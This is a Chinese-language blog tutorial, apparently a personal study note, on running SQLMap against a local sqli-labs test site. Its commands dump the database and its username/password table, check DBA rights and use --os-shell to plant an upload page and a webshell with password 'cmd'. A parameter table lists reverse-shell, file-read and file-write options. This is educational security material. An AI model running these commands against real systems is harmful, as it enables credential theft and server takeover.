SQL注入(3)——SQLMAP

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入

之前介绍了各种SQL注入的方法,今天介绍SQLMAP工具的使用及如何通过SQL注入拿到Webshell

介绍

SQLMap是一个用Python写的SQL注入工具,可以轻松地对目标进行SQL注入攻击

安装

由于我已经安装了Python环境,所以我这里是直接用pip安装

打开DOS,输入:

pip install sqlmap -i https://mirrors.aliyun.com/pypi/simple/

SQL注入(3)——SQLMAP_第1张图片
这样就是安装成功了

然后在dos中输入sqlmap,如果出现像下图的,则为安装成功
SQL注入(3)——SQLMAP_第2张图片

使用

我们通过一个实例来讲解SQLMAP的使用

测试地址:http://192.168.1.9/sql1/Less-1/?id=1
注入检测
简单查看页面,怀疑存在SQL注入漏洞
SQL注入(3)——SQLMAP_第3张图片
直接放进sqlmap扫描。指令:

 sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1

SQL注入(3)——SQLMAP_第4张图片
如图,返回了数据库的版本和信息,说明存在注入

返回结果介绍:
SQL注入(3)——SQLMAP_第5张图片
这一堆东西说明了存在注入的参数和注入方法,以及各种注入的Payload

在这里插入图片描述
这里说了数据库的类型版本,如果在测试中出现此内容,说明存在注入漏洞。

信息获取
获取当前用户sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-user
SQL注入(3)——SQLMAP_第6张图片

获取当前数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-db
SQL注入(3)——SQLMAP_第7张图片

获取所有数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --dbs
SQL注入(3)——SQLMAP_第8张图片

获取security数据库的所有表:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -tables
SQL注入(3)——SQLMAP_第9张图片

获取users表中所有字段:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -columns
SQL注入(3)——SQLMAP_第10张图片

获取username,password的内容:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -C username,password -dump
SQL注入(3)——SQLMAP_第11张图片
-dump可以导出数据,数据导出位置在
在这里插入图片描述
SQL注入(3)——SQLMAP_第12张图片
GetShell
通过SQLMAP获取shell
判断是否为dba:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --is-dba
在这里插入图片描述
如果这里权限是dba的话,可以尝试直接写shell
使用os-shell可以执行系统指令,同时向服务器上传一个文件用于文件上传
前提是需要知道网站的绝对路径并且有文件权限。

sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --os-shell

在这里插入图片描述
这里会要你选择网站的语言。选择4,PHP
在这里插入图片描述在这里要猜解网站的绝对路径,可以使用SQLMAP的字典,也可以自己导入字典。我这里直接1,使用SQLMAP的字典。
在这里插入图片描述
假如猜解成功,就会返回一个shell。

注意,在这里有两个地址
在这里插入图片描述
告诉我们上传了一个上传文件的位置和一个后门到服务器。
我们分别访问看一下
http://192.168.1.9:80/tmpupupp.php
SQL注入(3)——SQLMAP_第13张图片
在这里是一个文件上传点,可以上传自己的大马,小马,一句话。

http://192.168.1.9/tmpbbeih.php
这里直接上传了一个Webshell,可以直接菜刀连接,密码是cmd
SQL注入(3)——SQLMAP_第14张图片
不过这个马并不是免杀的,你可以上传自己的免杀马。

同时,在这里也可以执行自己想执行的指令,例如获取自身权限
在这里插入图片描述

常用参数

SQLMAP常用参数
参数 说明
-b 获取 banner
-p 指定测试参数
-g 从Google中获取URL,-g "inurl:aspx?id="
--gpage 指定Google页码
--union-check 是否支持 union 注入
--union-use 使用union注入
--proxy 代理注入
--threads 采用多线程
--referer=REFERER HTTP referer头
--keep-alive 使用持久 HTTP(S)连接
--hostname 主机名
--is-dba 是否管理员权限
--users 枚举所有用户
--passwords 枚举所有用户密码
--roles 针枚举所有用户角色
--dump 转存DBMS数据库表项目,需要指定字段名称
--sql-query 执行SQL语句
--file-read 读取文件(需要File权限和绝对路径)
--file-write 写入操作(需要File权限和绝对路径)
--file-desk 绝对路径写入
--os-pwn 反弹shell
--cookie=COOKIE 指定Cookie
--random-agent 使用随机 User-Agent 头
--level 测试等级(1~5),默认为1
这里Level可以设置测试等级,当等级达到3时将尝试cookie注入,同时需要的时间更长。

Threads可以设置线程数,在时间盲注时可加快效率。

-p可以指定测试参数,例如 -p id 意为测试参数id。

你可能感兴趣的:(安全,安全)